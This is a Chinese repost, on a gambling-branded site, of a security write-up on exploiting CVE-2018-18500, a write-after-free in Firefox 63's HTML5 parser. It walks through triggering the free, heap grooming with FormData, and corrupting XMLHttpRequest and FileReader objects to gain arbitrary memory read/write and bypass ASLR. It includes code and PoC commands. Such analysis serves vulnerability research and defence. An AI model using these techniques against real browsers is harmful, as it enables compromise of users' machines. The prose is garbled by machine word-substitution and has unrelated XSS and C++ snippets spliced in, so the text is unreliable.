CVE-2018-18500:应用Firefox的堆破绽举行进击 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

CVE-2018-18500:应用Firefox的堆破绽举行进击

申博_安全防护 申博 139次浏览 已收录 0个评论

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

提要

本文是关于CVE-2018-18500的一个Mozilla Firefox平安破绽,由SophosLabs于2018年11月宣布并向Mozilla Foundation申报。

此平安破绽触及Gecko(Firefox的浏览器引擎)中的软件毛病,个中包罗卖力剖析网页的代码。经由历程对网页举行恶意代码编程,我们可以或许应用破绽对Firefox的实例举行破坏。

存在毛病的引擎组件是HTML5 Parser,特别是关于“自界说元素”的处置惩罚。

这里所形貌的毛病的基础原因是编程毛病,个中正在运用C ++工具而没有准确对它举行援用,并致使过早地开释工具。这些状况被称为“Free After Free”的内存破坏,递次毛病地将其写入已开释的内存中。

由于现今操纵体系和递次具有浩瀚的平安减缓步伐,以是在Web浏览器中开辟内存破坏破绽的并非易事。它每每须要应用多个毛病并应用庞杂的递次特定手艺来完成庞杂的逻辑。这意味着我们须要大批运用JavaScript等必要条件。

本文运用64位Firefox 63.0.3 for Windows来猎取特定于二进制文件的详细信息,并将援用Gecko源代码和HTML的规范代码。

手艺配景 – 自界说元素

作为“Web组件”API的一局部,“自界说元素”是HTML规范中的一个相对较新的增补局部。 简而言之,它供应了一种建立新范例HTML元素的要领。 它的详细文档可以或许在这里找到here。

这是一个名为extended-br的元素扩大的基础自界说示例,其作用与通例br元素雷同,其还可以或许打印一行数据用以纪录操纵行动:

<body>

// Create a class for the element
class ExtendedBR extends HTMLBRElement {
        constructor() {
                // Always call super first in constructor
                super();

                console.log("Extended BR created");
        }
}

// Define the new element
customElements.define("extended-br", ExtendedBR, {extends: "br"});


<br is="extended-br">

</body>

上面的示例运用“自界说内置元素”变体,该变体经由历程运用“is”属性举行实例化。

Firefox 63发行版(2018年10月23日)中引入了对Custom Elements的支撑。

破绽概况

Firefox在HTML树构建历程当中建立自界说元素时会发作此毛病。 在此历程当中,引擎代码可以或许挪用JavaScript回调以挪用自界说元素界说的组织函数。

JavaScript挪用点四周的引擎代码运用C ++工具但没有准确地生存对它的援用局部。

当引擎代码从JavaScript回调函数返回后,它会在内存中写入此C ++工具的成员变量。

然则,我们可以或许界说被挪用的组织函数用来使文档加载中断,这意味着文档的运动剖析器的中断,在内部致使运动剖析器资本的破坏和消除分派,个中也包孕前面提到的C ++工具。

发作这类状况时,体系将发作“Write-After-Free”内存破坏。

以下是用于建立HTML元素的HTML5 Parser代码中的相干局部:

nsresult
nsHtml5TreeOperation::Perform(nsHtml5TreeOpExecutor* aBuilder,
                              nsIContent** aScriptElement,
                              bool* aInterrupted,
                              bool* aStreamEnded)
{
  switch (mOpCode) {
    ...
    case eTreeOpCreateHTMLElementNetwork:
    case eTreeOpCreateHTMLElementNotNetwork: {
      nsIContent** target = mOne.node;
      ...
      *target = CreateHTMLElement(name,
                                  attributes,
                                  mOpCode == eTreeOpCreateHTMLElementNetwork
                                    ? dom::FROM_PARSER_NETWORK
                                    : dom::FROM_PARSER_DOCUMENT_WRITE,
                                  nodeInfoManager,
                                  aBuilder,
                                  creator);
      return NS_OK;
    }
    ...
}

nsIContent*
nsHtml5TreeOperation::CreateHTMLElement(
  nsAtom* aName,
  nsHtml5HtmlAttributes* aAttributes,
  mozilla::dom::FromParser aFromParser,
  nsNodeInfoManager* aNodeInfoManager,
  nsHtml5DocumentBuilder* aBuilder,
  mozilla::dom::HTMLContentCreatorFunction aCreator)
{
  ...
  if (nsContentUtils::IsCustomElementsEnabled()) {
    ...
    if (isCustomElement && aFromParser != dom::FROM_PARSER_FRAGMENT) {
      ...
      definition = nsContentUtils::LookupCustomElementDefinition(
        document, nodeInfo->NameAtom(), nodeInfo->NamespaceID(), typeAtom);

      if (definition) {
        willExecuteScript = true;
      }
    }
  }

  if (willExecuteScript) { // This will cause custom element
                           // constructors to run
    ...
    nsCOMPtr<dom::Element> newElement;
    NS_NewHTMLElement(getter_AddRefs(newElement),
                      nodeInfo.forget(),
                      aFromParser,
                      isAtom,
definition);

NS_NewHTMLElement内部,若是正在建立的元素是自界说元素,则将挪用函数CustomElementRegistry::Upgrade来挪用自界说元素的组织函数,并将掌握通报给JavaScript。

在自界说元素组织函数完成运转而且CreateHTMLElement()将实行返回到Perform()以后,第13行完成其实行:CreateHTMLElement()的返回值被写入target指向的内存地点。

接下来,我将诠释目标点的地位、设置地位信息并运用JavaScript代码来开释内存,和将哪一种范例的值写入开释的内存。

目标状况

我们可以或许在第11行看到目标:nsIContent ** target = mOne.node
这是mOne.node的代码内容:

nsIContentHandle*
nsHtml5TreeBuilder::createElement(int32_t aNamespace,
                                  nsAtom* aName,
                                  nsHtml5HtmlAttributes* aAttributes,
                                  nsIContentHandle* aIntendedParent,
                                  nsHtml5ContentCreatorFunction aCreator)
{
  ...
    nsIContent* elem;
    if (aNamespace == kNameSpaceID_XHTML) {
      elem = nsHtml5TreeOperation::CreateHTMLElement(
        name,
        aAttributes,
        mozilla::dom::FROM_PARSER_FRAGMENT,
        nodeInfoManager,
        mBuilder,
        aCreator.html);
    }
  ...
  nsIContentHandle* content = AllocateContentHandle();
  ...
  treeOp->Init(aNamespace,
               aName,
               aAttributes,
               content,
               aIntendedParent,
               !!mSpeculativeLoadStage,
               aCreator);
inline void Init(int32_t aNamespace,
                 nsAtom* aName,
                 nsHtml5HtmlAttributes* aAttributes,
                 nsIContentHandle* aTarget,
                 nsIContentHandle* aIntendedParent,
                 bool aFromNetwork,
                 nsHtml5ContentCreatorFunction aCreator)
{
  ...
  mOne.node = static_cast<nsIContent**>(aTarget);
  ...
}

以是target的值来自AllocateContentHandle()

nsIContentHandle*
nsHtml5TreeBuilder::AllocateContentHandle()
{
  ...
  return &mHandles[mHandlesUsed++];
}

这是在nsHtml5TreeBuilder的组织函数初始化列表中初始化mHandles的要领:

nsHtml5TreeBuilder::nsHtml5TreeBuilder(nsAHtml5TreeOpSink* aOpSink,
                                       nsHtml5TreeOpStage* aStage)
  ...
  , mHandles(new nsIContent*[NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH])
  ...

因而,当建立HTML5剖析器的树构建器工具时,起首初始化一个可以或许包容NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH指针的数组,而且每次挪用AllocateContentHandle()时,它都邑返回数组中的下一个未运用的槽,从索引数字0最先。

在64位体系上,mHandles的分派巨细为NS_HTML5_TREE_BUILDER_HANDLE_ARRAY_LENGTH * sizeof(nsIContent*) == 512 * 8 == 4096 (0x1000)

怎样开释mHandles?

mHandles是类nsHtml5TreeBuilder的成员变量。 在毛病的代码缺点的高低文中,nsHtml5TreeBuildernsHtml5StreamParser实例化,而nsHtml5StreamParser又由nsHtml5Parser实例化。

我们在自界说元素组织函数中运用了以下JavaScript代码:

location.replace("about:blank");

我们通知浏览器脱离以后页面并在引擎中致使以下树构造:

Location::SetURI()
-> nsDocShell::LoadURI()
   -> nsDocShell::InternalLoad()
      -> nsDocShell::Stop()
         -> nsDocumentViewer::Stop()
            -> nsHTMLDocument::StopDocumentLoad()
               -> nsHtml5Parser::Terminate()
                  -> nsHtml5StreamParser::Release()

末了一个函数挪用会删除nsHtml5StreamParser工具的援用,但它还没有完整自力出来:其他的援用将被几个异步义务删​​除,这些义务只会在下次Gecko的事宜轮回扭转时举行调理。

这一般不会在运转JavaScript函数的历程当中发作,由于JavaScript的一个属性是“永不壅塞”,但为了触发毛病,我们必需在自界说元素组织函数返回之前实行这些挂起的异步义务。

末了一个链接供应了怎样完成此操纵的要领:“Legacy exceptions exist like alert or synchronous XHR”。 XHR(XMLHttpRequest)是一种可用于从Web服务器检索数据的API。

可以或许运用同步XHR使浏览器引擎事宜轮回,直到XHR挪用完成。也就是说,从Web服务器收到数据时我们便可挪用此要领。

因而,经由历程在自界说元素组织函数中运用以下代码…

location.replace("about:blank");

var xhr = new XMLHttpRequest();
xhr.open('GET', '/delay.txt', false);
xhr.send(null);

…并设置联络的Web服务器,以后人为地将/delay.txt要求的相应耽误几秒钟以在浏览器中引发长时候的事宜轮回轮回实行,我们可以或许包管在时候线5完成实行时,以后运动的nsHtml5StreamParser工具将自力涌现。 然后,下次发作渣滓收集轮回时,将破坏伶仃的nsHtml5StreamParser工具并消除其资本的分派(包孕mHandles)。

“about:blank”在新地位建立,由于它是一个空页面,以是不须要收集交互举行加载。

此处的目标是确保引擎在nsHtml5StreamParser工具的烧毁和写入破坏之间的局限内实行的事情量(代码逻辑)尽量小,由于我们将应用bug将堆内存中的某些构造举行胜利的革新。由于堆分派器本质上黑白确定性的,因而在引擎中运转的任何分外逻辑同时也会不测的对开辟历程发生破坏。

开释内存的值是多少?

nsHtml5TreeOperation::CreateHTMLElement的返回值是指向新建立的透露表现HTML元素的C ++工具的指针,比方, HTMLTableElementHTMLFormElement

由于触发毛病须要中断以后运转的文档剖析器,因而该新工具不会链接到任何现有数据构造并连结伶仃状况,并终究在未来的渣滓收集周期中开释。

掌握自在写入后的偏移量

总结到目前为止,可以或许应用该bug来有效地发作以下伪代码:

nsIContent* mHandles[] = moz_xmalloc(0x1000);
nsIContent** target = &mHandles[mHandlesUsed++];
free(mHandles);
...
*target = CreateHTMLElement(...);

因而,虽然这里写入开释内存的值(CreateHTMLElement()的返回值)是弗成掌握的(老是一个内存分派指针)而且其内容弗成靠,我们可以或许调解相对该值写入的值的偏移量。 依据mHandlesUsed的值,开释分派的基址。 正如我们之前展现的mHandlesUsed增加了剖析器的HTML元素个数:

<br>                          <-- mHandlesUsed = 0
<br>                          <-- mHandlesUsed = 1
<br>                          <-- mHandlesUsed = 2
<br>                          <-- mHandlesUsed = 3
<br>                          <-- mHandlesUsed = 4
<br>                          <-- mHandlesUsed = 5
<br>                          <-- mHandlesUsed = 5
<br>                          <-- mHandlesUsed = 6
<span is=custom-span></span>  <-- mHandlesUsed = 7

在上面的例子中,给定mHandles的分派地点为0x7f0ed4f0e000而且自界说span元素在其组织函数中触发了bug,新建立的HTMLSpanElement工具的地点将被写入0x7f0ed4f0e000 + (7 * sizeof(nsIContent*))

文件烧毁历程当中生存下的文件

由于触发毛病须要导航并中断以后文档的加载,因而在组织函数返回后,我们将没法再在该文档中实行JavaScript:JavaScript error: , line 0: NotSupportedError: Refusing to execute function from window whose document is no longer active.

为了编写功用性破绽应用递次,我们必需在触发毛病后继承实行更多JavaScript逻辑。 为此,我们可以或许运用建立子iframe元素的主网页,个中用于触发毛病的HTML和JavaScript代码将驻留在个中。

触发毛病并将子iframe的文档更改成“about:blank”后,主页连结稳定,并可在其高低文中实行盈余的JavaScript逻辑。

以下是建立子iframe的HTML页面示例:

<body>

var f = document.createElement("iframe");
document.body.append(f);
f.srcdoc = `

        console.log("this runs in the child iframe");

        `;
console.log("this runs in the main page");

配景 – Firefox堆的观点和属性

要相识这里的应用历程,相识Firefox的内存分派器怎样事情至关重要。 Firefox运用一个名为mozjemalloc的内存分派器,它是jemalloc项目标一个分支。本节将扼要引见mozjemalloc的一些基础术语和属性。

Regions:
“Regions”是用户分派返回的堆项目(比方malloc(3)挪用)。”[PSJ]

Chunks:
“Chunks”用于形貌内存分派器在观点大将可用内存划分为的大假造内存地区。”[PSJ]

Runs:
Runs是内存的进一步存储的巨细,由jemalloc分红块。”[PSJ]

“从本质上讲,一个chunk被分红几个局部。”[PSJ]

“每次运转都包罗特定巨细的regions。”[PSJ]

Size classes:
依据Size classes将分派分为几类。

Firefox堆中的巨细类:·4,8,16,32,48,…,480,496,512,1024,2048。[mozjemalloc.cpp]·
分派要求将四舍五入为最接近的巨细类。

Bins:
“每一个bin都有一个联系关系的巨细类,并存储/治理这个巨细类的地区。”[PSJ]

“bin的地区经由历程bin的运转举行治理和接见。”[PSJ]
伪码图:

void *x = malloc(513);
void *y = malloc(650);
void *z = malloc(1000);
// now: x, y, z were all allocated from the same bin,
// of size class 1024, the smallest size class that is
// larger than the requested size in

LIFO free list:
jemalloc的另外一个风趣特性是它以后进先出(LIFO)体式格局运转。 一个 free list后跟一个渣滓收集和一个雷同巨细的后续分派要求,极可能终究会在开释的地区内完毕。“[TSOF]
伪码图:

void *x = moz_xmalloc(0x1000);
free(x);
void *y = moz_xmalloc(0x1000);
// now: x == y

Same size class allocations are contiguous:

我们在可以或许经由历程实行分派并耗尽余暇列表来完成的某种状况下,雷同巨细类的递次分派将在内存中是一连的 “分派要求(即malloc()挪用)被四舍五入并分派给一个bin。 […]若是此历程未找到,则分派新运转并将其分派给特定bin。 因而,这意味着具有相似巨细的分歧范例工具在舍入到同一个bin中的工具在jemalloc堆中是一连的。“[TSOF]

伪代码:

for (i = 0; i < 1000; i++) {
        x[i] = moz_xmalloc(0x400);
}
// x[995] == 0x7fb8fd3a1c00
// x[996] == 0x7fb8fd3a2000 (== x[995] + 0x400)
// x[997] == 0x7fb8fd3a2400 (== x[996] + 0x400)
// x[998] == 0x7fb8fd3a2800 (== x[997] + 0x400)
// x[999] == 0x7fb8fd3a2c00 (== x[998] + 0x400)

Run recycling:

当运转中的一切分派都被开释时,运转将被作废分派并插进去到可用运转列表中。 作废分派的运转可以或许与相邻的消除分派的运转兼并,以建立更大的单个消除分派的运转。 当须要新的运转时(用于生存新的内存分派),可以或许从可用运转列表中猎取。 这许可属于一个运转的存储器地点连结特定巨细类的分派被“再轮回”成为分歧运转的一局部,连结分歧巨细类的分派。

伪码图:

for (i = 0; i < 1000; i++) {
        x[i] = moz_xmalloc(1024);
}
for (i = 0; i < 1000; i++) {
        free(x[i]);
}
// after freeing all 1024 sized allocations, runs of 1024 size class
// have been de-allocated and put into the list of available runs
for (i = 0; i < 1000; i++) {
        y[i] = moz_xmalloc(512);
        // runs necessary for holding new 512 allocations, if necessary,
        // will get taken from the list of available runs and get assigned
        // to 512 size class bins
}
// some elements in y now have the same addresses as elements in x

进击手腕

考虑到这个毛病会致使内存破坏,应用次要领试验植入一个工具来替代开释的mHandles分派,以便用给定偏移量的内存地点指针覆。

一个很好的要领是“ArrayObjects inside ArrayObjects”手艺[TSOF],我们将安排一个ArrayObject工具替代mHandles,然后用一个内存地点(这是一个异常大的数值)掩盖它的长度头变量如许就可以或许建立一个花样毛病的ArrayObject工具,而且可以或许从JavaScript端接见,以便读取和写入比预期更多的内存,由于对该花样毛病的数组的索引接见是依据已破坏的长度值举行考证的。

XSS相关一些个人Tips

前言 近日在看些xss相关的知识,在乌云知识库上,有篇XSS挑战第一期Writeup里面姿势很多,能力不足,有些无法复现,就把自己觉得好玩的写下来。 location Location对象对于我们构造一些另类的xss payload有很大的帮助,例如P牛这篇文章介

但经由一些试验后,它好像没法一般事情。原因是2017年10月推出的代码发作了转变,将JavaScript引擎的分派与其他分派离开。因而,js_malloc()(JavaScript引擎函数)和moz_xmalloc()(通例函数)的分派将不会在同一个堆上运转。这使得该手艺大多已由时。

因而必需找到另外一种工具范例。

XMLHttpRequestMainThread作为内存破坏的目标

我们将再次议论XMLHttpRequest,此次是从分歧的角度。 可以或许将XHR工具设置装备摆设为以几种分歧的体式格局吸收相应,个中一种体式格局是经由历程ArrayBuffer工具:

var oReq = new XMLHttpRequest();
oReq.open("GET", "/myfile.png", true);
oReq.responseType = "arraybuffer";

oReq.onload = function (oEvent) {
  var arrayBuffer = oReq.response;
  if (arrayBuffer) {
    var byteArray = new Uint8Array(arrayBuffer);
    for (var i = 0; i < byteArray.byteLength; i++) {
      // do something with each byte in the array
    }
  }
};

oReq.send(null);

下面为引擎函数,它卖力运用吸收到的相应数据建立ArrayBuffer工具,在接见XMLHttpRequest的工具相应属性时挪用(第6行):

JSObject* ArrayBufferBuilder::getArrayBuffer(JSContext* aCx) {
  if (mMapPtr) {
    JSObject* obj = JS::NewMappedArrayBufferWithContents(aCx, mLength, mMapPtr);
    if (!obj) {
      JS::ReleaseMappedArrayBufferContents(mMapPtr, mLength);
    }
    mMapPtr = nullptr;

    // The memory-mapped contents will be released when the ArrayBuffer
    // becomes detached or is GC'd.
    return obj;
}

在上面的代码中,若是我们在函数最先之前修正mMapPtr,我们将取得一个ArrayBuffer工具,并指向我们放入mMapPtr而不是预期返回数据的任何地点。 接见返回的ArrayBuffer工具将许可我们从mMapPtr指向的内存中读取和写入。

要将XHR工具填充到这类轻易的被破坏的客栈中,须要将其置于已发送现实要求并正在守候相应的状况。 我们可以或许将XHR要求的资本设置为URI,以制止收集运动的耽误和开支:

xhr.open("GET", "data:text/plain,xxxxxxxxxx", true);

mMapPtr包罗在XMLHttpRequestMainThread类内的子类ArrayBufferBuilder中,该类是内部XMLHttpRequest工具的现实完成类。 它的巨细是0x298

CVE-2018-18500:应用Firefox的堆破绽举行进击

巨细为0x298的分派进入0x400巨细类bin,因而XMLHttpRequestMainThread工具将一直放在属于以下形式之一的内存地点中:0xXXXXXXXXX000,0xXXXXXXXX400,0xXXXXXXXXX800或0xXXXXXXXXXc00。 这与mHandles分派的形式很好地同步,即0xXXXXXXXXX000

要运用该bug破坏XHR的mArrayBufferBuilder.mMapPtr值,我们必需将0x250字节的偏移量放入开释的mHandles分派中:

CVE-2018-18500:应用Firefox的堆破绽举行进击

因而,XMLHttpRequestMainThread是应用此内存破坏的适宜目标,但其巨细类与mHandle分歧,须要我们依赖于实行“运转收受接管”手艺。

为了资助实行“ grooming”堆以这类体式格局运转所需的堆操纵,我们将运用另外一种工具范例:

用于堆grooming的FormData

简朴地说,FormData是一种工具范例,它包罗供应给它的一组键/值对。

var formData = new FormData();
formData.append("username", "Groucho");
formData.append("accountnum", "123456");

在内部,它运用数据构造FormDataTuple来透露表现键/值对,和一个名为mFormData的成员变量来存储它所持有的对:
nsTArray mFormData

mFormData最后是一个空数组。 挪用append()delete()要领在个中增加或删除元素。 nsTArray类运用动态内存分派来存储其元素,依据须要扩大或削减其分派巨细。

这就是FormData挑选此存储缓冲区的分派巨细的体式格局:

nsTArray_base<Alloc, Copy>::EnsureCapacity(size_type aCapacity,
                                           size_type aElemSize) {
    ...
    size_t reqSize = sizeof(Header) + aCapacity * aElemSize;
    ...
    // Round up to the next power of two.
    bytesToAlloc = mozilla::RoundUpPow2(reqSize);
    ...
    header = static_cast<Header*>(ActualAlloc::Realloc(mHdr, bytesToAlloc));

鉴于sizeof(Header)== sizeof(nsTArrayHeader)== 8和aElemSize == sizeof(FormDataTuple)== 0x30,这是猎取缓冲区分派巨细作为数组中元素数目的函数的公式:

bytesToAlloc = RoundUpPow2(8 + aCapacity * 0x30)

由此我们可以或许计算出mFormData将在附加到它的第11对上实行对0x400字节的realloc()挪用,在第22对上实行0x800字节realloc(),在第43对上实行0x1000字节realloc()。缓冲区的地点存储在mFormData.mHdr中。

要发生mFormData.mHdr的分派作废操纵,我们可以或许运用delete()要领。它将从数组中删除的单个键名作为参数,但分歧的对可以或许运用雷同的键名。因而,若是为每一个附加对重用雷同的键名,则在该键名上挪用delete()将在一次运转中消灭全部数组。一旦nsTArray_base工具削减为生存0个元素,mHdr中的内存将被开释。

总而言之,我们可以或许运用FormData工具在Firefox堆中恣意实行特定巨细的内存的分派和消除分派。

晓得这一点,这些是我们可以或许接纳的步调,用于安排0x400巨细类分派来替代0x1000巨细类分派:

1 举行0x1000分派

建立很多FormData工具,并为每一个工具追加43对。 如今堆包罗很多块,个中大局部是一连的0x1000运转,个中包罗我们的mFormData.mHdr缓冲区。

2 内存中的“Poke holes”

运用delete()作废分派一些mFormData.mHdr缓冲区,以便在mFormData.mHdr分派块之间有余暇的0x1000巨细的空格。

3 触发mHandles的分派

附加子iframe,并建立HTML剖析器,并运用mHandles分派的nsHtml5TreeBuilder工具。 由于“LIFO余暇列表”,mHandles应当取得与上一步中作废分派的缓冲区之一雷同的地点。

4 开释mHandles

5 开释一切0x1000分派
在一切盈余的FormData上运用delete()

6 0x400分派
建立多个XMLHttpRequest工具。

CVE-2018-18500:应用Firefox的堆破绽举行进击

CVE-2018-18500:应用Firefox的堆破绽举行进击

若是准确完成,在实行这些步调后触发毛病将破坏在步调6中建立的建立的XMLHttpRequest工具,以便其mArrayBufferBuilder.mMapPtr变量如今指向HTML元素工具。
我们可以或许继承遍历一切建立的XHR工具并搜检它们的相应属性。若是它们中的任何一个包罗不测数据,那末它一定已胜利被进击,由于该毛病,我们如今有一个可以或许读取的ArrayBuffer工具和写入新建立的HTML元素工具的内存。

仅此一点就足以让我们经由历程读取工具的成员变量来绕过ASLR,个中一些变量指向Firefox的主DLL xul.dll中的变量。还可以或许经由历程修正工具的假造表指针来掌握递次实行。然则,如前所述,这个HTML元素工具是伶仃的,不克不及被JavaScript援用而且是为了消除分派,以是必需接纳另外一种要领。

若是再次检察上面援用的ArrayBufferBuilder::getArrayBuffer函数,我们可以或许看到纵然在破坏状况下,建立的ArrayBuffer工具也设置为与原始相应雷同的长度,由于只修正了mMapPtrmLength却完好无损。

由于相应巨细将与我们挑选所要求的数据URI的巨细雷同,我们可以或许恣意设置它,并确保花样毛病的ArrayBuffer的长度足以掩盖它将指向的HTML元素,然则在HTML元素以后将操纵局限扩大到相当大的内存量。

要写入mMapPtr的HTML元素工具的特定范例由我们挑选运用自界说元素界说扩大的HTML元素的基础范例决议。 HTML元素工具的巨细介于0x80和0x6d8之间:

CVE-2018-18500:应用Firefox的堆破绽举行进击

因而,我们可以或许在分歧的堆巨细类之间举行挑选,以便经由历程花样毛病的ArrayBuffer举行操纵。 比方,挑选扩大“br”HTML元素将致使指向写入mMapPtrHTMLBRElement(巨细为0x80)工具的指针。

正如客栈界说中所述,紧跟在HTML元素以后的内存将生存雷同巨细类的其他分派。
要在HTML元素以后马上定位特定工具,我们可以或许应用“雷同巨细类分派是一连的”堆属性,而且:

1 查找与目标工具具有雷同巨细类的HTML元素,并将自界说元素界说基于该元素。

2 经由历程分派雷同HTML元素范例的很多实例来得出相干bin的余暇列表。 这异常合适0x250字节的破坏偏移,由于在自界说元素之前界说很多元素是达到此偏移的必要条件,它有助于我们完成斲丧操纵。

3 在分派自界说HTML元素工具后,尽快为安排目标工具分派。 在此以后马上挪用自界说元素的组织函数,因而应当起首在组织函数内部建立工具。

应用此功用的最直接的要领是应用我们已相识的XMLHttpRequest工具并将其用作目标工具。 之前我们只能运用弗成掌握的指针来破坏mMapPtr,但如今可以或许完整掌握工具的操纵,我们可以或许恣意设置mMapPtrmLength,以便可以或许读取和写入内存中的任何地点。

然则,XMLHttpRequestMainThread工具属于0x400巨细类,而且没有HTML元素工具属于雷同巨细的类!

因而必需运用另外一种工具范例。FileReader工具有点相似于XMLHttpRequest,由于它读取数据并可以或许将其作为ArrayBuffer返回。

var arrayBuffer;
var blob = new Blob(["data to read"]);
var fileReader = new FileReader();
fileReader.onload = function(event) {
    arrayBuffer = event.target.result;
    if (arrayBuffer) {
        var byteArray = new Uint8Array(arrayBuffer);
        for (var i = 0; i < byteArray.byteLength; i++) {
                // do something with each byte in the array
        }
    }
};
fileReader.readAsArrayBuffer(blob);

XMLHttpRequest的状况相似,FileReader运用ArrayBuffer建立函数JS::NewArrayBufferWithContents及其成员变量mFileData和mDataLen作为参数:

nsresult FileReader::OnLoadEnd(nsresult aStatus) {
  ...
  // ArrayBuffer needs a custom handling.
  if (mDataFormat == FILE_AS_ARRAYBUFFER) {
    OnLoadEndArrayBuffer();
    return NS_OK;
  }
  ...
}

void FileReader::OnLoadEndArrayBuffer() {
  ...
  mResultArrayBuffer = JS::NewArrayBufferWithContents(cx, mDataLen, mFileData);

若是我们可以或许在运用ArrayBuffer来挪用readAsArrayBuffer()onload事宜来破坏内存中的FileReader工具,我们可以或许使FileReader建立另外一个花样毛病的ArrayBuffer,但此次指向恣意地点。

FileReader工具合适在此处运用,由于它的巨细:

CVE-2018-18500:应用Firefox的堆破绽举行进击

它与“img”元素(HTMLImageElement)兼容,其工具巨细为0x138。

CVE-2018-18500:应用Firefox的堆破绽举行进击

在文档中建立和运用工具

iframe文档中断的另外一个影响要素是,从它内部建立的任何XMLHttpRequest或FileReader工具都将从它们的父类中分离出来,而且将不再以我们想要的体式格局运用。

由于我们须要在特定时候点建立新的XMLHttpRequestFileReader工具,而自界说元素组织函数在子iframe文档中运转,然则在文档加载中断后还须要它们的运用,我们可以或许运用以下要领 “同步”经由历程运用postMessage()和运用XHR的事宜轮回将实行通报到主页:

sync.html:

<body>

function receiveMessage(event) {
        console.log("point 2");
}
addEventListener("message", receiveMessage, false);

let f = document.createElement("iframe");
f.src = "sync2.html";
document.body.append(f);

</body>

sync2.html:

<body>

var delay_xhr = new XMLHttpRequest();
delay_xhr.open('GET', '/delay.xml', false);

parent.postMessage("", "*");

console.log("point 1");

delay_xhr.send(null);

console.log("point 3");

</body>

将会输出:

point 1 (child iframe)
point 2 (main page)
point 3 (child iframe)

经由历程这类体式格局,我们可以或许启用从子iframe运转的JavaScript代码,以在主页面中发送和调理JavaScript函数的实行,并确保它在取得掌握权之前完成运转。

POC

PoC构建在上面所写的一切内容上,以天生一个ArrayBuffer,可用于从0x4141414141414141读取和写入内存。

$ python delay_http_server.py 8080 &
$ firefox http://127.0.0.1:8080/customelements_poc.html

我们可以或许在衔接中找到详细运用要领:

on the SophosLabs GitHub repository.

破绽修补

此bug在 Firefox 65.0中修补。
nsHtml5TreeOperation::Perform: nsHtml5TreeOpExecutor::RunFlushLoop and nsHtml5TreeOpExecutor::FlushDocumentWrite.

+  RefPtr<nsHtml5StreamParser> streamParserGrip;
+  if (mParser) {
+    streamParserGrip = GetParser()->GetStreamParser();
+  }
+  mozilla::Unused << streamParserGrip;  // Intentionally not used within function

C++逆向学习(一) string

CTF比赛中C++的题越来越多,题目中经常出现string,vector等,而实际上手时发现常常迷失在”库函数”中,比如跟进了空间配置器相关函数 最近研究一下关于这些的底层机制与逆向,应该会写成一个系列 string 内存布局 visual studio的调试实


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明CVE-2018-18500:应用Firefox的堆破绽举行进击
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址